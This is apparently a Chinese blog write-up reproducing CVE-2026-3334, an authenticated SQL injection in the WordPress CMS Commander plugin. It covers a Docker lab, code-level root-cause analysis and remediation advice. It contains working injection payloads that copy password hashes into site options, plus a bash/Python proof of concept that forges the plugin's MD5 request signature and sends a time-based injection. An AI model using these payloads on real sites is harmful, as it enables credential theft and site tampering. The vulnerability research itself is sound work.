0x0 背景介绍

WordPress的CMS Commander插件在所有版本(包括2.288)中,通过or_blogname、or_blogdescription和or_admin_email参数存在SQL注入漏洞。这是由于对用户提供的参数进行了不充分的转义,并且在恢复工作流程中对现有的SQL查询准备不足。这使得经过身份验证的攻击者(拥有CMS Commander API密钥访问权限)能够将额外的SQL查询追加到已存在的查询中,从而可以从数据库中提取敏感信息。

0x1 环境搭建(Ubuntu24)

1.1-Ubuntu24+Docker搭建配置

  • 另存为install.sh运行
#!/bin/bash

echo "=============================================="
echo " CMS Commander SQL 注入 (CVE-2026-3334) 环境搭建脚本"
echo "=============================================="

# 检查并安装依赖
if ! command -v unzip &> /dev/null; then
    echo "[*] 安装依赖工具..."
    apt update && apt install -y unzip wget curl docker.io docker-compose-plugin
fi

# 检查 Docker 是否运行
if ! systemctl is-active --quiet docker; then
    echo "[!] Docker 未运行,请启动 Docker 服务 (systemctl start docker)"
    exit 1
fi

WORK_DIR="cmscommander-sqli-vuln"
PLUGIN_SLUG="cms-commander-client"
PLUGIN_VERSION="2.288"
WP_PORT="8090"

echo "[*] 阶段 1/5:创建漏洞复现目录..."
mkdir -p "$WORK_DIR" && cd "$WORK_DIR" || { echo "[x] 创建目录失败"; exit 1; }
echo "[+] 工作目录: $(pwd)"

echo "[*] 阶段 2/5:生成 docker-compose.yml..."
cat > docker-compose.yml <<EOF
services:
  db:
    image: mysql:8.0
    container_name: cmsc-db
    environment:
      MYSQL_ROOT_PASSWORD: vuln-root-pass
      MYSQL_DATABASE: wordpress
      MYSQL_USER: wpuser
      MYSQL_PASSWORD: vuln-user-pass
    volumes:
      - db_data:/var/lib/mysql
    command: --default-authentication-plugin=mysql_native_password
    restart: always

  wordpress:
    image: wordpress:php7.4-apache
    container_name: cmsc-wp
    ports:
      - "${WP_PORT}:80"
    environment:
      WORDPRESS_DB_HOST: db:3306
      WORDPRESS_DB_USER: wpuser
      WORDPRESS_DB_PASSWORD: vuln-user-pass
      WORDPRESS_DB_NAME: wordpress
    volumes:
      - wp_plugins:/var/www/html/wp-content/plugins
      - wp_uploads:/var/www/html/wp-content/uploads
    depends_on:
      - db
    restart: always

volumes:
  db_data:
  wp_plugins:
  wp_uploads:
EOF

echo "[*] 阶段 3/5:启动 Docker 环境..."
docker compose up -d

echo "[*] 等待服务启动(约 60 秒)..."
for i in {1..12}; do
    echo -n "."
    sleep 5
done
echo ""
echo "[+] 容器已启动"

echo "[*] 等待 WordPress 安装页面就绪..."
max_attempts=30
attempt=0
while [ $attempt -lt $max_attempts ]; do
    status_code=$(curl -s -o /dev/null -w '%{http_code}' http://localhost:${WP_PORT}/wp-admin/install.php)
    if [ "$status_code" = "200" ]; then
        break
    fi
    echo -n "."
    sleep 2
    ((attempt++))
done

if [ "$status_code" != "200" ]; then
    echo ""
    echo "[!] WordPress 启动超时,请检查日志: docker logs cmsc-wp"
    exit 1
fi
echo ""
echo "[+] WordPress 已就绪"

echo "[*] 阶段 4/5:下载并部署 CMS Commander v${PLUGIN_VERSION}..."

# 构造下载链接 (WordPress 官方插件库格式)
PLUGIN_URL="https://downloads.wordpress.org/plugin/${PLUGIN_SLUG}.${PLUGIN_VERSION}.zip"
PLUGIN_ZIP="${PLUGIN_SLUG}.${PLUGIN_VERSION}.zip"
LOCAL_PLUGIN_DIR="${PLUGIN_SLUG}"

rm -rf "$LOCAL_PLUGIN_DIR" "$PLUGIN_ZIP"

echo "[*] 正在下载插件..."
if ! wget -q --show-progress "$PLUGIN_URL" -O "$PLUGIN_ZIP"; then
    echo "[-] 主源下载失败,尝试备用源或检查版本号..."
    # 如果官方源没有该特定版本,可能需要手动上传或从其他源获取
    exit 1
fi

echo "[*] 解压插件..."
unzip -q "$PLUGIN_ZIP"

if [ ! -d "$LOCAL_PLUGIN_DIR" ]; then
    echo "[-] 插件目录未生成,解压失败"
    ls -la
    exit 1
fi

echo "[*] 复制插件到容器..."
docker cp "$LOCAL_PLUGIN_DIR" cmsc-wp:/var/www/html/wp-content/plugins/

echo "[*] 修复权限..."
docker exec cmsc-wp chown -R www-data:www-data /var/www/html/wp-content/plugins/"$LOCAL_PLUGIN_DIR"

# 清理本地临时文件
rm -rf "$PLUGIN_ZIP" "$LOCAL_PLUGIN_DIR"

# 验证
if docker exec cmsc-wp test -f /var/www/html/wp-content/plugins/"$LOCAL_PLUGIN_DIR"/cms-commander.php; then
    echo "[+] CMS Commander 插件部署成功!"
else
    # 有些插件主文件名可能不同,尝试列出目录确认
    echo "[*] 检查插件文件结构..."
    docker exec cmsc-wp ls -l /var/www/html/wp-content/plugins/"$LOCAL_PLUGIN_DIR"/
    # 即使主文件名不是 cms-commander.php,只要目录在通常也能被识别,继续执行
fi

echo "[*] 阶段 5/5:环境配置完成!"

cat <<EOF

==============================================
 CVE-2026-3334 漏洞环境部署完成!
==============================================

访问站点:
   http://localhost:${WP_PORT}

初始化步骤:
   1. 首次访问上述链接,完成 WordPress 安装。
      * 站点标题: CMS Commander SQLi Demo
      * 用户名: admin
      * 密码: admin123!@# (建议修改)
      * 邮箱: admin@local.test

   2. 登录后台 (http://localhost:${WP_PORT}/wp-admin)
      * 进入 "插件" (Plugins) -> 启用 "CMS Commander - Manage Multiple Sites"

漏洞利用前置条件:
   该漏洞是 **认证后 SQL 注入**。
   您需要获取或配置 **CMS Commander API Key**。

   * 通常在插件设置页面 (Settings -> CMS Commander) 可以连接主站获取 API Key。
   * 或者如果您有主站控制权,在主站添加此从站时会生成 Key。
   * **审计重点**: 插件代码中处理 'restore workflow' 的部分。

漏洞详情:
   * 漏洞参数: or_blogname, or_blogdescription, or_admin_email
   * 利用方式: 通过 API 接口发送恶意构造的参数,追加 SQL 语句。
   * 参考 Payload 思路:
     or_blogname=test' UNION SELECT 1, user_pass, 3, 4, 5 FROM wp_users--

下一步建议:
   1. 审计 /wp-content/plugins/cms-commander-client/ 源码。
   2. 搜索 'or_blogname' 或 'prepare' 关键字。
   3. 编写 PoC 进行复现。

0x2 漏洞复现

SQL注入点位于 restore() 函数中,但要执行到该点,必须先成功恢复一个备份文件(绕过签名后卡在这好久)。源码流程如下:

// lib/CMSC/Backup.php 中的 restore() 函数
if($backup_file && file_exists($backup_file)){
// 解压备份、恢复数据库、覆盖配置(注入点)
}else{
return array('error'=>'Error restoring. Cannot find backup file.');
}
如果$backup_file不存在或文件不存在,函数直接返回错误,不会执行注入代码。
$backup_file必须通过task_name和result_id从cmsc_backup_tasks选项中获取,而这些都依赖一次成功的备份记录(第四次的测试中...不小心把环境还原出问题了....

2.1-概念验证

2.1.1 概念场景 A:通过恢复接口注入 or_blogname

前置条件

•攻击者已掌握 CMS Commander API 通信所需的密钥材料(可构造合法signature,即"已认证攻击者"模型。  
•攻击请求动作为 restore,并触发 overwrit 分支(正常网站应该有备份,可能实际环境不会卡在备份流程)。
  • 模拟 HTTP 流量
POST / HTTP/1.1
Host: victim.example
Content-Type: application/x-www-form-urlencoded

cmsc=%23%23CMSC%23%23{
"cmsc":"yes",
"cmsc_action":"restore",
"action":"restore",
"id":"1711111111",
  "url":"https%3A%2F%2Fvictim.example%2F", //注意:这里需和站点相同,源码会校验
  "signature":"<合法签名>",
  "params":{
    "username":"admin",
    "task_name":"daily_backup",
    "result_id":"0",
    "overwrite":1,
    "or_blogname":"x', option_value=(SELECT user_pass FROM wp_users WHERE ID=1) WHERE option_name='blogname' -- ",
    "or_blogdescription":"normal",
    "or_admin_email":"normal@example.com"
  }
}
  • 说明:插件在functions.php的cmsc_authenticate()中按##CMSC##{json} 协议解析正文,并在验签通过后把params传到 restore逻辑。

  • 预期现象与流量特征

•响应结构通常为 <CMSCHEADER>_CMSC_JSON_PREFIX_<base64-json><ENDCMSCHEADER>。  
•当注入成功时,wp_options 中 blogname/admin_email 等值可出现异常替换,或通过时间盲注引发明显响应延迟。  
•SQL 执行点发生在恢复流程后半段(覆盖站点配置阶段),属于"高权限业务流程内注入"
2.2 概念场景 B:or_admin_email 注入用于敏感信息探测
POST / HTTP/1.1
Host: victim.example
Content-Type: application/x-www-form-urlencoded

cmsc=%23%23CMSC%23%23{
  "cmsc":"yes",
  "cmsc_action":"restore",
  "id":"1711111122",
  "url":"https%3A%2F%2Fvictim.example%2F",
  "signature":"<合法签名>",
  "params":{
    "username":"admin",
    "task_name":"daily_backup",
    "result_id":"0",
    "overwrite":1,
    "or_admin_email":"a' , option_value=(SELECT concat(user_login,':',user_pass) FROM wp_users LIMIT 1) WHERE option_name='admin_email' -- "
  }
}
  • 这个场景更接近公告中的"可提取敏感信息"目标:

  • 虽然注入语句仍在UPDATE … options,但攻击者可通过子查询把敏感字段回填到可读配置项,形成数据外带。

2.3 概念场景 C:基于插件的特殊性,我这边绕过签名和备份
  • 在环境中遇到一些情况,所以打开sql监控,看看语句能否提交
root@iubuntu:~/cmscommander-sqli-vuln# docker exec -it cmsc-db bash
bash-5.1# mysql -u root -pvuln-root-pass -e "SET GLOBAL general_log = 'ON';"
mysql: [Warning] Using a password on the command line interface can be insecure.
bash-5.1# mysql -u root -pvuln-root-pass -e "SET GLOBAL log_output = 'TABLE';"
mysql: [Warning] Using a password on the command line interface can be insecure.
bash-5.1# mysql -u root -pvuln-root-pass -e "TRUNCATE TABLE mysql.general_log;"
mysql: [Warning] Using a password on the command line interface can be insecure.
bash-5.1# exit
  • 然后进行注入
#!/bin/bash

# 配置
TARGET="http://192.168.119.131:8090"
SECRET="test_secret_key"
TIMESTAMP=$(date +%s)
ACTION="restore"

# 1. 计算签名
SIG=$(echo -n "${TARGET}${ACTION}${TIMESTAMP}${SECRET}" | md5sum | awk '{print $1}')

# 2. 定义 Payload (这里可以随意写单引号,因为还没拼进 JSON)
# 尝试让数据库睡 5 秒
RAW_PAYLOAD="' WHERE 1=1 AND (SELECT SLEEP(5)) -- "

# 3. 构造原始 JSON 字符串 (先不编码)
# 注意:这里我们用变量占位,避免 Bash 转义问题
read -r -d '' JSON_TEMPLATE <<EOF
{
  "cmsc": "yes",
  "cmsc_action": "${ACTION}",
  "action": "${ACTION}",
  "id": "${TIMESTAMP}",
  "url": "${TARGET}",
  "signature": "${SIG}",
  "params": {
    "username": "admin",
    "task_name": "Backup Now",
    "result_id": 0,
    "overwrite": 1,
    "or_blogname": "${RAW_PAYLOAD}"
  }
}
EOF

# 4. 将 JSON 转为 Base64,避免 Bash 处理特殊字符
JSON_B64=$(echo "$JSON_TEMPLATE" | base64 -w 0)

# 5. 使用 Python 进行最终处理 (解码 Base64 -> URL 编码 -> 发送)
# 5. 使用 Python 进行最终处理 (解码 Base64 -> URL 编码 -> 发送)
python3 - <<PYEOF
import requests
target = "${TARGET}"
body = "cmsc=##CMSC##${JSON_B64}"
print(f"[*] 发送 Payload (长度: {len(body)} bytes)...")
print(f"[*] 预期延时: 5 秒+")
try:
    resp = requests.post(target, data=body, headers={"Content-Type": "application/x-www-form-urlencoded"}, timeout=20)
    print(f"[+] 响应状态: {resp.status_code}")
    print(f"[+] 响应内容: {resp.text.strip()}")
except Exception as e:
    print(f"[-] 错误: {e}")
PYEOF
  • 最后数据库查询
[*] 发送 Payload (长度: 673 bytes)...
[*] 预期延时: 5 秒+
[+] 响应状态: 200
[+] 响应内容: <CMSCHEADER>_CMSC_JSON_PREFIX_eyJzdWNjZXNzIjp0cnVlfQ==<ENDCMSCHEADER>
root@iubuntu:~/cmscommander-sqli-vuln# docker exec -it cmsc-db mysql -u root -pvuln-root-pass -e "SELECT event_time, argument FROM mysql.general_log WHERE argument LIKE '%SLEEP%' OR argument LIKE '%blogname%' ORDER BY event_time DESC LIMIT 3;"
mysql: [Warning] Using a password on the command line interface can be insecure.
+----------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| event_time                 | argument                                                                                                                                                                                                                                                                                         |
+----------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| 2026-03-25 07:11:16.721177 | 0x53454C454354206576656E745F74696D652C20617267756D656E742046524F4D206D7973716C2E67656E6572616C5F6C6F6720574845524520617267756D656E74204C494B45202725534C4545502527204F5220617267756D656E74204C494B45202725626C6F676E616D652527204F52444552204259206576656E745F74696D652044455343204C494D49542033 |
| 2026-03-25 07:11:11.387056 | 0x55504441544520574F524450524553535F5441424C455F5052454649586F7074696F6E7320534554206F7074696F6E5F76616C7565203D20272720574845524520313D3120414E44202853454C45435420534C45455028352929202D2D2027205748455245206F7074696F6E5F6E616D65203D2027626C6F676E616D6527                                   |
+----------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
  • 正常注入成功结果应该是这个
<CMSCHEADER>_CMSC_JSON_PREFIX_eyJzdWNjZXNzIjp0cnVlfQ==<ENDCMSCHEADER>
解码就是:{"success":true}
  • 可以看到俩次的值,分别解码结果,足以证明语句会到数据库执行
第一个字符串解码后:
SELECT event_time, argument FROM mysql.general_log WHERE argument LIKE '%SLEEP%' OR argument LIKE '%blogname%' ORDER BY event_time DESC LIMIT 3
第二个字符串解码后:
UPDATE WORDPRESS_TABLES_PREFIXoptions SET option_value = '' WHERE 1=1 AND (SELECT SLEEP(5)) -- ' WHERE option_name = 'blogname'

2.2-复现流量特征 (PCAP)

当时来来回回测了好多次,又是去掉签名又是备份机制,没抓到真正流量,不过SQL语句是明文在请求中的
图片
实际响应解码后是TURE,截图中就是备份机制

在这里插入图片描述

0x3 漏洞原理分析

3.1- 架构与模块定位:从API入口到数据库执行点

最先定位的是restore动作,因为 CVE 描述中明确提到"恢复工作流"。沿着这个关键词回溯后,链路非常清晰:入口验签并不等于参数安全,params 最终到达restore()时没有再次做SQL边界控制。

层级 核心文件 关键函数 在漏洞链路中的职责
入口层 functions.php cmsc_authenticate() 解析请求、验签、建立"已认证 API 调用"上下文
路由层 lib/CMSC/Core.php register_action_params() 将 restore 动作映射到 cmsc_restore_now()
逻辑层 functions.php cmsc_restore_now() 将 params 原样交给 CMSC_Backup::restore()
驱动层 lib/CMSC/Backup.php restore() 在 overwrite 恢复路径中拼接并执行 SQL(注入爆发点)

3.2 核心入口:安全边界的错位:认证通过被误当作"参数可信"

先看入口层代码,cmsc_authenticate() 负责验签与用户上下文切换:

// functions.php
if($_cmsc_data['cmsc'] !== "yes") { return; }
$_cmsc_auth = $cmsc_core->authenticate_message(...);
...
if(isset($_cmsc_data['params']['username']) && !is_user_logged_in()){
    $user = get_user_by('login', $_cmsc_data['params']['username']);
    wp_set_current_user($user->ID);
}
随后动作被注册并透传参数:

// lib/CMSC/Core.php
'restore' => 'cmsc_restore_now',
...
$this->action_params = $params;
// functions.php
function cmsc_restore_now($params){
    $return = $cmsc_core->backup_instance->restore($params);
}
  • 预期边界是"只有持有 API 密钥的一方才能调用高危动作",这是访问控制边界;

  • 但 SQL 注入需要的是数据边界(参数化、白名单、转义)。该实现把两者混为一谈

  • 认证通过后,params 被视为"可直接进入 SQL 的可信数据",导致后续失守。

3.3 逻辑缺陷:恢复流程中的最后一道防线失守

真正致命点出现在 lib/CMSC/Backup.php 的 restore()

// lib/CMSC/Backup.php
if(!empty($or_blogname)) {
    $query = "UPDATE " . $new_table_prefix . "options  SET option_value = '$or_blogname' WHERE option_name = 'blogname'";
    $wpdb->query($wpdb->prepare($query));
}
if(!empty($or_blogdescription)) {
    $query = "UPDATE " . $new_table_prefix . "options  SET option_value = '$or_blogdescription' WHERE option_name = 'blogdescription'";
    $wpdb->query($wpdb->prepare($query));
}
if(!empty($or_admin_email)) {
    $query = "UPDATE " . $new_table_prefix . "options  SET option_value = '$or_admin_email' WHERE option_name = 'admin_email'";
    $wpdb->query($wpdb->prepare($query));
} 
  • 这里的prepare()是"空 prepare"——SQL 模板里没有%s占位符,用户输入已先被拼进字符串,prepare()不再提供任何防注入价值。
  • or_blogname/or_blogdescription/or_admin_email直接进入单引号上下文,攻击者可以闭合字符串并改写SET语义,注入子查询或额外表达式。
  • 代码是在恢复后处理流程,执行时机稳定、权限高、且目标表固定,非常适合数据回填式外带。
  • 再对照同函数中其它"正确写法",反差更明显:
// lib/CMSC/Backup.php
$query = "UPDATE " . $new_table_prefix . "options SET option_value = %s WHERE option_name = 'home'";
$wpdb->query($wpdb->prepare($query, $home));
  • 这里使用%s占位,才是预期的参数化

3.4 攻击链路:从配置污染到敏感信息提取的完整闭环

在还原链路时,先判断可控参数是否到达SQL,再看它是否能"读出"数据。虽然注入点是UPDATE options,但攻击者可利用子查询把敏感数据写入可见配置字段

  • 调用链总结(含注入点与爆发点):
HTTP(cmsc_action=restore)
-> functions.php::cmsc_authenticate()(验签通过)
-> lib/CMSC/Core.php::register_action_params()
-> functions.php::cmsc_restore_now($params)
-> lib/CMSC/Backup.php::restore($args)
-> [注入点] $or_blogname/$or_blogdescription/$or_admin_email 字符串拼接
-> [爆发点] $wpdb->query($wpdb->prepare($query)) 执行已污染 SQL

最大危害理论推导:

  • 敏感信息泄露:利用子查询提取wp_users.user_pass、邮箱、站点密钥相关配置,回填到wp_options可读取字段。
  • 站点配置篡改:修改blogname/admin_email等核心配置,影响后台运维与邮件流。
  • 横向安全影响:若数据库账户权限较大,攻击面可从单表扩展到全库数据读取/破坏(取决于MySQL权限和wpdb执行策略)。

0x4 修复建议

  • 1、升级最新版本:将组件升级最新版本
    https://wordpress.org/plugins/cms-commander-client/
  • 2、临时防护措施:
限制访问:在Nginx/Apache层对插件通信入口加IP白名单,仅允许CMS Commander 控制端出口IP;拒绝非常规来源调用restore
防火墙拦截:增加针对cmsc_action=restore且参数中出现', --, /*, select, sleep等特征的规则(注意误报豁免)


最小权限:收紧WordPress数据库账号权限,避免对非业务必要库/表的读写授权,降低注入后的横向破坏面

日志排查:检查wp_options中blogname/blogdescription/admin_email 历史变更是否出现SQL片段痕迹

更换密钥:立即轮换CMS Commander API密钥与WordPress高权限账户密码。

例外:概念验收

  • 因为插件是需要收费激活的,我这边在环境中模拟激活成功,需要查询签名的验证机制

1. 正确的数据库字段名

路径:lib/CMSC/Helper.php 第319-321行

function get_random_signature()
{
    if (!get_option('_cmsc_nossl_key'))
        return false;
    return base64_decode(get_option('_cmsc_nossl_key'));
}

2. 正确的签名公式

Signature = md5(Data + Key)

其中:

  • Data = url + action + id(直接字符串拼接)
  • Key = base64_decode(_cmsc_nossl_key)(从数据库读取后base64解码)

证据来源:

  • 验证算法在 lib/CMSC/Helper.php 第371-372行:

    if (md5($data . $this->get_random_signature()) === $signature)
    
  • 数据构造在 functions.php 中:

    $_cmsc_auth = $cmsc_core->authenticate_message(
        $_cmsc_data['url'] . $_cmsc_data['action'] . $_cmsc_data['id'], 
        $_cmsc_data['signature'], 
        $_cmsc_data['id']
    );
    

验证时,authenticate_message 会优先检查 _cmsc_public_key 是否存在。如果存在,且 _cmsc_nossl_key 也存在,但 RSA 验证失败(因为公钥是假的)代码逻辑如下

if (function_exists('openssl_verify') && !$this->get_random_signature()) {
    // RSA 分支
} else if ($this->get_random_signature()) {
    // MD5 分支
}
  • _cmsc_nossl_key 存在(非空),则 ! 为 false,不会进入 RSA 分支,直接进入 MD5 分支。

  • 所以实际上,只要 _cmsc_nossl_key 存在,无论 _cmsc_public_key 是否存在,都会使用 MD5 验证(因为 get_random_signature() 非空)。但我测试时,_cmsc_nossl_key 存在,但 authenticate_message 仍然失败并提示 “Authentication failed”,是因为 _cmsc_public_key 不存在时,代码在判断 !$this->get_random_signature() 之前还有别的检查

$pl_key = $this->get_master_public_key();
if (!$pl_key) {
    return array(
        'error' => 'Authentication failed. Deactivate and activate...'
    );
}
  • 首先会检查 _cmsc_public_key 是否存在,如果不存在(!$pl_key),直接返回失败,根本不会进入 MD5 分支。所以 必须同时存在 _cmsc_public_key 才能通过初步检查,然后再根据 _cmsc_nossl_key 的存在与否选择 RSA 或 MD5 分支。

3. 计算示例

  • 提前再容器中插入数据,以便签名校验成功
1. 插入共享密钥 _cmsc_nossl_key
docker exec -it cmsc-db mysql -u wpuser -pvuln-user-pass -e "
INSERT INTO wordpress.wp_options (option_name, option_value, autoload)
VALUES ('_cmsc_nossl_key', 'dGVzdF9zZWNyZXRfa2V5', 'no')
ON DUPLICATE KEY UPDATE option_value = VALUES(option_value);
"
2. 插入公钥占位符(确保走 MD5 分支)

即使不使用 RSA,authenticate_message 在开头会检查 _cmsc_public_key 是否存在,若不存在会直接返回认证失败。因此需要插入一个任意值(例如 dummy 的 Base64)。

docker exec -it cmsc-db mysql -u wpuser -pvuln-user-pass -e "
INSERT INTO wordpress.wp_options (option_name, option_value, autoload)
VALUES ('_cmsc_public_key', 'ZHVtbXk=', 'no')
ON DUPLICATE KEY UPDATE option_value = VALUES(option_value);
"
3. 消息 ID校验

每次的id是要大于原本的

4.验证数据:

docker exec -it cmsc-db mysql -u wpuser -pvuln-user-pass -e "
SELECT option_name, option_value FROM wordpress.wp_options 
WHERE option_name IN ('_cmsc_nossl_key', '_cmsc_public_key', '_cmsc_action_message_id');
"
root@iubuntu:~/cmscommander-sqli-vuln# docker exec -it cmsc-db mysql -u wpuser -pvuln-user-pass -e "
SELECT option_name, option_value FROM wordpress.wp_options
WHERE option_name IN ('_cmsc_nossl_key', '_cmsc_public_key', '_cmsc_action_message_id');
"
mysql: [Warning] Using a password on the command line interface can be insecure.
+-------------------------+----------------------+
| option_name             | option_value         |
+-------------------------+----------------------+
| _cmsc_action_message_id | 1774342906           |
| _cmsc_nossl_key         | dGVzdF9zZWNyZXRfa2V5 |
| _cmsc_public_key        | test_pub_key         |
+-------------------------+----------------------+
root@iubuntu:~/cmscommander-sqli-vuln#

参数

  • 数据库存储的 _cmsc_nossl_keydGVzdF9zZWNyZXRfa2V5
  • 原始密钥:test_secret_key
  • URL:http://192.168.119.131:8090
  • Action:restore
  • ID:1711111111

Python 计算

import hashlib
import base64

url = "http://192.168.119.131:8090"
action = "restore"
msg_id = "1711111111"
key_b64 = "dGVzdF9zZWNyZXRfa2V5"
key = base64.b64decode(key_b64).decode()

data_to_sign = url + action + msg_id
signature = hashlib.md5((data_to_sign + key).encode()).hexdigest()

print(f"待签名字符串: {data_to_sign}")
print(f"密钥: {key}")
print(f"签名: {signature}")

输出

待签名字符串: http://192.168.119.131:8090restore1711111111
密钥: test_secret_key
签名: e99bdc5992ed70eaf43ecd9ba90c78e5

注意事项

  • 验证时会先检查 _cmsc_public_key 是否存在。如果存在且 _cmsc_nossl_key 不存在,则走 RSA 分支。
    因此,若希望使用 MD5 分支,需确保 _cmsc_nossl_key 存在,并且 _cmsc_public_key 不存在(或存在但验证失败)。
  • id 必须大于数据库中 _cmsc_action_message_id 的值,否则返回 Invalid message recieved
  • 签名验证通过后,_cmsc_action_message_id 会被更新为本次使用的 id
Logo

AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。

更多推荐